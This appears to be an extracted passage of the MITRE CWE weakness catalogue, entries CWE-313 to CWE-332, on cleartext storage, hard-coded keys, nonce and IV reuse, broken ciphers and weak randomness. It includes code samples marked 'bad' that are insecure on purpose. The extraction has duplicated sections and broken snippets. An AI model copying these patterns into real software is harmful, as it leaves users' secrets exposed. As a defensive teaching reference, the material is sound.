Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is

any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

## CWE-313: Cleartext Storage in a File or on Disk

**Weakness ID** : 313

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application stores sensitive information in cleartext in a file, or on disk.

### Extended Description

The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Confidentiality	Read Application Data	

## Demonstrative Examples

### Example 1:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties file
...
webapp ldap.username=secretUsername
webapp ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET

(bad)

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

## CWE-315: Cleartext Storage of Sensitive Information in a Cookie

**Weakness ID** : 315

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application stores sensitive information in cleartext in a cookie.

### Extended Description

Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

## CWE-316: Cleartext Storage of Sensitive Information in Memory

**Weakness ID** : 316**Status**: Draft**Structure** : Simple**Abstraction** : Variant

### Description

The application stores sensitive information in cleartext in memory.

### Extended Description

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it.

It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-317: Cleartext Storage of Sensitive Information in GUI

**Weakness ID** : 317

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application stores sensitive information in cleartext within the GUI.

### Extended Description

An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

## CWE-318: Cleartext Storage of Sensitive Information in Executable

**Weakness ID** : 318

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application stores sensitive information in cleartext in an executable.

### Extended Description

Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

## CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID : 319

Status: Draft

Structure : Simple

Abstraction : Base

## Description

The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

## Extended Description

Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Likelihood Of Exploit

## Common Consequences

Scope	Impact	Likelihood
Integrity	Read Application Data	
Confidentiality	Modify Files or Directories	
<i>Anyone can read the information by gaining access to the channel being used for communication.</i>		

## Detection Methods

**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as `truss` (Solaris) and `strace` (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

## Potential Mitigations

### Phase: Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.

### Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

### Phase: Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

## Demonstrative Examples

### Example 1:

The following code attempts to establish a connection to a site to communicate sensitive information.

Example Language: Java

(bad)

```
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

## CWE-321: Use of Hard-coded Cryptographic Key

<b>Weakness ID</b> : 321	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf		320	Key Management Errors	1983

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Prevention schemes mirror that of hard-coded password storage.

### Demonstrative Examples

#### Example 1:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

*Example Language: C*

*(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

*Example Language: Java*

*(bad)*

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

*Example Language: C#*

*(bad)*

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
    }
}
```

```

return(1);
}
Console.WriteLine("Incorrect Password!");
return(0);
}

```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

MemberOf	<b>C</b>	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	2060

### Notes

#### Other

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

## CWE-322: Key Exchange without Entity Authentication

**Weakness ID** : 322

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software performs a key exchange with an actor without verifying the identity of that actor.

### Extended Description

Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable an

attacker to impersonate an actor by modifying traffic between the two entities. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>No authentication takes place in this process, bypassing an assumed protection of encryption.</i>	
Confidentiality	Read Application Data <i>The encrypted communication between a user and a trusted host may be subject to sniffing by any actor in the communication path.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

### Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

## Demonstrative Examples

### Example 1:

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, allowing attackers to influence communications by redirecting or interfering with the communication path. Many people using SSL/TLS skip the authentication (often unknowingly).

## CWE-323: Reusing a Nonce, Key Pair in Encryption

<b>Weakness ID</b> : 323	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

Nonces should be used for the present occasion and only once.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	320	Key Management Errors	1983

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Background Details

Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.</i>	

## Potential Mitigations

### Phase: Implementation

Refuse to reuse nonce values.

### Phase: Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

## Demonstrative Examples

### Example 1:

This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

*Example Language: C*

*(bad)*

```
void encryptAndSendPassword(char *password){
    char *nonce = "bad";
    ...
    char *data = (unsigned char*)malloc(20);
    int para_size = strlen(nonce) + strlen(password);
    char *paragraph = (char*)malloc(para_size);
    SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
    sendEncryptedData(data)
}
```

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

### Example 2:

This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

*Example Language: C++*

*(bad)*

```
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
```

```
byte[] nonce = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

## CWE-324: Use of a Key Past its Expiration Date

**Weakness ID** : 324

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

### Extended Description

While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	<b>C</b>	310	Cryptographic Issues	1982
MemberOf	<b>C</b>	320	Key Management Errors	1983

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

### Demonstrative Examples

#### Example 1:

The following code attempts to verify that a certificate is valid.

*Example Language: C*

*(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))
        //do stuff
}
```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

## CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID : 327

Status: Draft

Structure : Simple

Abstraction : Class

### Description

The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.

### Extended Description

The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Technology-Independent (*Prevalence = Undetermined*)

## Background Details

Cryptographic algorithms are the methods by which data is scrambled. There are a small number of well-understood and heavily studied algorithms that should be used by most applications. It is quite difficult to produce a secure algorithm, and even high profile algorithms by accomplished cryptographic experts have been broken.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks against the algorithm are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

Accountability Non-Repudiation	Hide Activities	
	<i>If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.</i>	

## Detection Methods

### Automated Analysis

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

*Effectiveness = Moderate*

*False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.*

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

### Phase: Architecture and Design

Design the software so that one cryptographic algorithm can be replaced with another. This will make it easier to upgrade to stronger algorithms.

### Phase: Architecture and Design

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

### Phase: Implementation

### Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

## Demonstrative Examples

**Example 1:**

These code examples use the Data Encryption Standard (DES).

Example Language: C

(bad)

```
EVP_des_ecb();
```

Example Language: Java

(bad)

```
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
```

Example Language: PHP

(bad)

```
function encryptPassword($password){
    $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a password encryption key";
    $encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
    return $encryptedPassword;
}
```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

## CWE-328: Reversible One-Way Hash

**Weakness ID** : 328

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.

### Extended Description

This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

### Potential Mitigations

#### Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

*Example Language: C*

*(bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

*Example Language: Java*

*(bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

## CWE-329: Not Using an Unpredictable IV with CBC Mode

<b>Weakness ID</b> : 329	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

Not using an unpredictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.

### Extended Description

CBC mode eliminates a weakness of Electronic Code Book (ECB) mode by allowing identical plaintext blocks to be encrypted to different ciphertext blocks. This is possible by the XOR-ing of an IV with the initial plaintext block so that every plaintext block in the chain is XOR'd with a different value before encryption. If IVs are reused, then identical plaintexts would be encrypted to identical ciphertexts. However, even if IVs are not identical but are predictable, then they still break the security of CBC mode against Chosen Plaintext Attacks (CPA).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf		1204	Generation of Weak Initialization Vector (IV)	1769

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

CBC mode is a commonly used mode of operation for a block cipher. It works by XOR-ing an IV with the initial block of a plaintext prior to encryption and then XOR-ing each successive block of plaintext with the previous block of ciphertext before encryption.

$$C_0 = IV$$

$$C_i = E_k\{M_i \text{ XOR } C_{i-1}\}$$

When used properly, CBC mode provides security against chosen plaintext attacks. Having an unpredictable IV is a crucial underpinning of this. See [REF-1171].

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	If the IV is not properly initialized, data that is encrypted can be compromised and leak information.	

## Potential Mitigations

### Phase: Implementation

NIST recommends two methods of generating unpredictable IVs for CBC mode [REF-1172]. The first is to generate the IV randomly. The second method is to encrypt a nonce with the same key and cipher to be used to encrypt the plaintext. In this case the nonce must be unique but can be predictable, since the block cipher will act as a pseudo random permutation.

## Demonstrative Examples

### Example 1:

In the following examples, CBC mode is used when encrypting data:

Example Language: C

(bad)

```
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

Example Language: Java

(bad)

```
public class SymmetricCipherTest {
    public static void main() {
        byte[] text = "Secret".getBytes();
        byte[] iv = {
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
        };
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

## CWE-330: Use of Insufficiently Random Values

<b>Weakness ID</b> : 330	<b>Status</b> : Stable
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

### Extended Description

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

**Technology :** Technology-Independent (*Prevalence = Undetermined*)

### Background Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

### Likelihood Of Exploit

Scope	Impact	Likelihood
	<i>resource being protected could be accessed by guessing the ID or key.</i>	
Access Control Other	Bypass Protection Mechanism Other  <i>If software relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.</i>	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.</i>	

## Detection Methods

### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

### **Potential Mitigations**

#### **Phase: Architecture and Design**

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds. In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

#### **Phase: Implementation**

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

#### **Phase: Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

#### **Phase: Architecture and Design**

#### **Phase: Requirements**

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### **Phase: Testing**

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

### **Demonstrative Examples**

#### **Example 1:**

This code generates a unique random identifier for a user's session.

Example Language: PHP

(bad)

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

### Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Example Language: Java

(bad)

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the `Random.nextInt()` function to generate "unique" identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

### Notes

#### Relationship

This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

#### Maintenance

As of CWE 4.3, CWE-330 and its descendants are being investigated by the CWE crypto team to identify gaps related to randomness and unpredictability, as well as the relationships between randomness and cryptographic primitives. This "subtree analysis" might result in the addition or deprecation of existing entries; the reorganization of relationships in some views, e.g. the research view (CWE-1000); more consistent use of terminology; and/or significant modifications to related entries.

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
	<i>An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.</i>	

**Potential Mitigations**

**Phase: Implementation**

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

**Demonstrative Examples**

**Example 1:**

This code generates a unique random identifier for a user's session.

*Example Language: PHP*

*(bad)*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

**Example 2:**

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

*Example Language: Java*

*(bad)*

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

**CWE-332: Insufficient Entropy in PRNG**

Weakness ID : 332

Status: Draft

**Structure** : Simple  
**Abstraction** : Variant

## Description

The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.

